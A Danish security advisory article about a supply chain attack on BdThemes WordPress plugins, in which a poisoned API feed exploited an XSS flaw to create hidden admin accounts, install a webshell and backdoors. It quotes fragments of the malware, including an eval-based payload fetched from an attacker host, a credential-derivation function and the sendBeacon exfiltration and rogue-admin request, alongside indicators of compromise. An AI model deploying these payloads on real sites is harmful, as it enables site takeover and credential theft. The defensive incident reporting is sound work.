Spring til indhold
BdThemes ramt af supply chain-angreb via forgiftet API-svar
Mads Jensen
Mads Jensen 9. August 2026 · 9 min læsetid

BdThemes ramt af supply chain-angreb via forgiftet API-svar

Et kompromitteret JSON-feed var nok til at overtage WordPress-sites med flere BdThemes-plugins. Angrebet ændrede hverken plugin-kode i WordPress.orgs repository eller filer på det enkelte site, men kørte JavaScript direkte i browseren hos en logget ind administrator.

Kritisk hændelse

Bruger du et af de berørte plugins, skal du behandle sitet som muligt kompromitteret. Gennemgå straks brugere, plugin-mapper og databaseoptioner for indikatorerne længere nede.

Alle kendte berørte plugins blev 7. august 2026 midlertidigt lukket i WordPress’ plugin-bibliotek, mens de bliver undersøgt. Angrebet ramte leverandørens Biggopti-komponent, der henter kampagnebannere til wp-admin fra en ekstern API.

Sårbarheden kort fortalt

Biggopti indeholder en cross-site scripting-sårbarhed (XSS), hvor angribere kan få vilkårlig JavaScript til at køre i en administrators browser. Fejlen ligger i feltet display_id fra Sigmative API’et, som ikke bliver escaped korrekt, før det indsættes i HTML.

Sårbarheden har CVSS-score 5,4 (medium) og er angivet som upatchet. Den rammer forskellige versioner af Biggopti-biblioteket og kan udnyttes, hvis en angriber får adgang til Sigmative API-serveren og kan ændre dens svar.

Berørt software

Følgende plugins er omfattet af sårbarheden:

Sådan blev det eksterne feed til et angreb

Biggopti henter bannerdata fra en API, der består af statiske JSON-filer i en DigitalOcean Spaces-bucket bag Cloudflare. Det er altså ikke en dynamisk applikationsserver. En uautoriseret aktør fik skriveadgang til bucket’en og erstattede legitime JSON-svar med manipulerede svar.

Hvert plugin med Biggopti indlæser et JavaScript-asset på admin_init. Scriptet kører derfor på enhver sideindlæsning i wp-admin, henter bannerdata og bygger en notice i DOM’en. Her bruges display_id direkte i et HTML-id uden escaping:

Download biggopti.js
// display_id kommer fra den eksterne JSON-respons
var f = t.display_id || t.id || "default";
var m = "bdt-admin-biggopti-api-biggopti-" + f;

// Værdien indsættes uescaped i HTML-attributten
A = 'id="' + m + '"';

Samme kodebase har en escape-funktion til attributten data-display-id. Funktionen erstatter &, <, >, og dobbelte anførselstegn, men den blev ikke brugt til id-attributten.

function escapeAttribute(value) {
  return (value || "")
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;");
}

SVN-historikken viser, at den uescaped id-injektion kom ind i Prime Slider 4.1.9 den 1. marts 2026 og derefter blev brugt i de øvrige plugins. Senere versioner tilføjede en DOMParser-baseret sanitizer til bannerets indholdsfelt, som fjerner farlige HTML-tags og inline-handlere. id-attributten forblev dog uescaped.

Det manipulerede display_id brød ud af id-attributten og tilføjede en onanimationstart-handler. En CSS-animation udløste handleren efter cirka 10 millisekunder, så JavaScriptet kørte lydløst, hver gang en administrator åbnede en side i kontrolpanelet. Den observerede JSON-respons brugte en SAFE"-værdi efterfulgt af onanimationstart=eval(String.fromCharCode(...)) til at hente et eksternt script fra api.sigmative.io.

Ingen opdatering eller filændring var nødvendig

En installation kunne blive ramt uden plugin-opdatering og uden ændringer af filer på disken. Det gjorde angrebet vanskeligt at opdage med filbaserede integritetsscannere og kun svagt synligt for web application firewalls, fordi angrebsvektoren var det betroede API-svar.

Når scriptet kørte i en administrators autentificerede session, oprettede det falske administratorer, uploadede et plugin med webshell og etablerede vedvarende bagdøre. Resultatet var fuld kompromittering af sitet og mulighed for fjernudførelse af kode.

To payloads og flere kompromitteringstrin

Primær payload: w2.js

Den primære payload blev leveret til plugins, der brugte endpointet api-data-all-records. I den aktive administrators session gennemførte w2.js følgende forløb:

  1. C2-verifikation: Scriptet kontaktede ia-cdn[.]com/fz/c med det kompromitterede sites origin for at modtage målretningsinstruktioner. Returnerede C2-serveren status skip eller done, stoppede scriptet.
  2. Oprettelse af falsk administrator: Scriptet brugte X-WP-Nonce fra den aktive administrators session til at oprette en administrator gennem WordPress’ REST API. Hvis det mislykkedes, faldt det tilbage til almindelige formularindsendelser.
  3. Installation af webshell: Scriptet hentede en falsk plugin-ZIP fra C2-serveren og uploadede den gennem WordPress’ normale plugin-uploadformular. Pluginet brugte sluggen wp-smart-thumbnails eller en tilsvarende neutral slug og indeholdt webshellen emer-run.php, som kunne kaldes direkte via URL.
  4. Vedvarende MU-plugin-bagdøre: Kaldet til emer-run.php lagde to persistensmoduler i mappen for Must-Use-plugins. De indsamlede eksempler var tilbagedateret til september 2025 for at ligne legitime filsystemtidsstempler, og filnavnene kan variere mellem infektioner. Det ene modul gav uautentificeret administratoradgang via URL-parameteren ?_wplogin=<token> og gik efter sitets længst registrerede administrator. Det andet var et stealth-modul, der hookede ind i WordPress’ databaseforespørgsler for at skjule de oprettede konti fra brugerlisten og samtidig sænke det viste samlede brugerantal.
  5. Eksfiltrering: Scriptet sendte resultater fra hvert udførelsestrin tilbage til C2-serveren med navigator.sendBeacon.

Alternativ payload: x.js

Den sekundære payload, x.js, lå direkte på BdThemes’ infrastruktur og blev leveret til plugins, der brugte api-data-records. Den afledte administratoroplysninger deterministisk fra det kompromitterede sites hostname.

function makeCreds() {
  var host = siteKey();
  var hash = 0;

  for (var i = 0; i < host.length; i++) {
    hash = ((hash << 5) - hash + host.charCodeAt(i)) | 0;
  }

  var n = Math.abs(hash).toString(36).slice(0, 6);
  return {
    user: "bd_" + n,
    pass: "Bd@26!" + n + "x"
  };
}

Algoritmen dannede brugernavne som bd_ plus et base36-hash på seks tegn og adgangskoder som Bd@26! plus samme hash og x. Kontoen fik en e-mailadresse på formen <brugernavn>@wordpress.org. Angriberne behøvede dermed ikke at opbevare en central liste over kompromitterede sites, og incident responders kan beregne de præcise oplysninger, som de skal lede efter på et mistænkt domæne.

Payloaden oprettede derefter den falske administrator gennem /wp-admin/user-new.php, aflæste nonce-værdien fra formularen og sendte status, brugernavn, adgangskode, site-origin, logout-URL og aktuel side-URL til C2. Den gemte også en statusmarkering i browserens localStorage, når det var muligt, så den ikke forsøgte igen i samme browser.

// Resultater blev sendt som formdata; fetch var reservevej.
navigator.sendBeacon(C, new Blob([queryString], {
  type: "application/x-www-form-urlencoded"
}));

// Den oprettede konto fik administratorrollen.
var body = "action=createuser&_wpnonce_create-user=" + nonce +
  "&user_login=" + user +
  "&email=" + user + "%40wordpress.org" +
  "&pass1=" + encodeURIComponent(pass) +
  "&pass2=" + encodeURIComponent(pass) +
  "&role=administrator&createuser=Add+New+User";

Omfang og formodet sammenhæng

C2-domænet er knyttet til de samme trusselsaktører som de nylige supply chain-angreb mod Advanced Responsive Video Embedder og OptinMonster. Kampagnens mål var bred, skjult administratorpersistens og fjernudførelse af kode på millioner af WordPress-miljøer.

Angrebet krævede ikke adgang til de enkelte websites. Det var nok at forgifte leverandørens bannerfeed og udnytte fejlen i den kode, der viste banneret. At både de skadelige JSON-records og x.js blev uploadet til leverandørens egen bucket, peger på et alvorligt kompromis af BdThemes’ cloud storage-oplysninger eller interne infrastruktur.

Indikatorer på kompromittering

Gennemgå installationen for følgende netværks-, filsystem- og databaseindikatorer. De to berørte API-endpoints er siden blevet renset, men de skal fortsat indgå i historiske logs og telemetry.

Eksterne ressourcer

  • Primær payload: ia-cdn[.]com/fz/w2.js
  • C2 beacon-endpoint: ia-cdn[.]com/fz/c
  • Forgiftet API-endpoint: api[.]sigmative[.]io/prod/store/api/biggopti/api-data-all-records
  • Forgiftet API-endpoint: api[.]sigmative[.]io/prod/store/api/biggopti/api-data-records
  • Sekundær payload: api[.]sigmative[.]io/prod/store/api/biggopti/x.js

Filer, database og brugere

  • Webshell: emer-run.php – MD5: 1024732009983dd5e54b4cf5593f04d4
  • MU-plugin til magic login: class-wp-token-validate.php – MD5: 7719cd98a35ffad2771f26d1ceab7d27
  • MU-plugin til stealth: class-wp-query-9d127ff3.php eller lignende navne efter mønstret class-wp-query-*.php – MD5: 9aadc3e5c5242b273bd17c5bdc358845
  • MU-plugin med betegnelsen Health Check: wp-cache-optimizer.php – MD5: e450ae5bc4bfc0d960dded06a76bb8e9
  • Databaseoptionen fz_emer_login_tokens, som gemmer magic-login-tokens
  • Databaseoptionen fz_emer_done_v1, som markerer et fuldført kompromis
  • Konti med e-maildomænerne @wordpress.org eller @developer.wordpress.org
  • Brugernavne, der matcher bd_ efterfulgt af seks alfanumeriske tegn

Tidslinje

  • 1. marts 2026: Biggopti API-JavaScript blev tilføjet til Prime Slider 4.1.9 i SVN-revision r3471891. display_id blev sat uescaped i en id-attribut, og API’et brugte api-data-records.
  • 10. maj 2026: Endpointet skiftede til api-data-all-records. En DOMParser-sanitizer kom til indholdsfeltet, men id-attributten var fortsat uescaped.
  • 23. juni 2026: start_date i den forgiftede API-kampagne angav en Summer Sale-notice. Det er den tidligst mulige dato, hvor XSS kunne have været aktiv.
  • 6. august 2026 kl. 22.40 UTC: Seneste Last-Modified på det forgiftede api-data-records.
  • 7. august 2026 kl. 09.11 UTC: Seneste Last-Modified på det forgiftede api-data-all-records.
  • 7. august 2026: Angrebet blev observeret i aktiv brug, og sagen blev meldt ind.
  • 7. august 2026: Plugins blev lukket i WordPress’ plugin-bibliotek, mens de afventer gennemgang.
  • 7. august 2026 kl. 16.56 UTC: Analyseartefakter blev indsamlet.
  • 8. august 2026: Begge API-endpoints returnerede igen ren JSON.

Det skal du gøre nu

Har sitet et af de berørte BdThemes-plugins, skal du først gennemgå alle brugerkonti, især bd_-konti og adresser på de nævnte e-maildomæner. Undersøg derefter plugin-mapperne, MU-plugin-mappen og optionstabellen for samtlige indikatorer, og kontrollér historiske forespørgsler mod de anførte domæner.

Wordfence Premium, Care, Response og betalte Wordfence CLI-kunder modtog malware-signaturer og WAF-regler til at opdage kompromisset 7. august 2026. Gratis Wordfence- og Wordfence CLI-brugere modtager ifølge den normale forsinkelse de samme signaturer og regler 30 dage senere.

Bliv en del af HelloWP-communityet!

Chat med os om WordPress og webudvikling, og del erfaringer med andre udviklere.

- medlemmer
- online
Deltag

Vi bruger cookies til at forbedre din oplevelse. Ved at fortsætte accepterer du vores Cookiepolitik.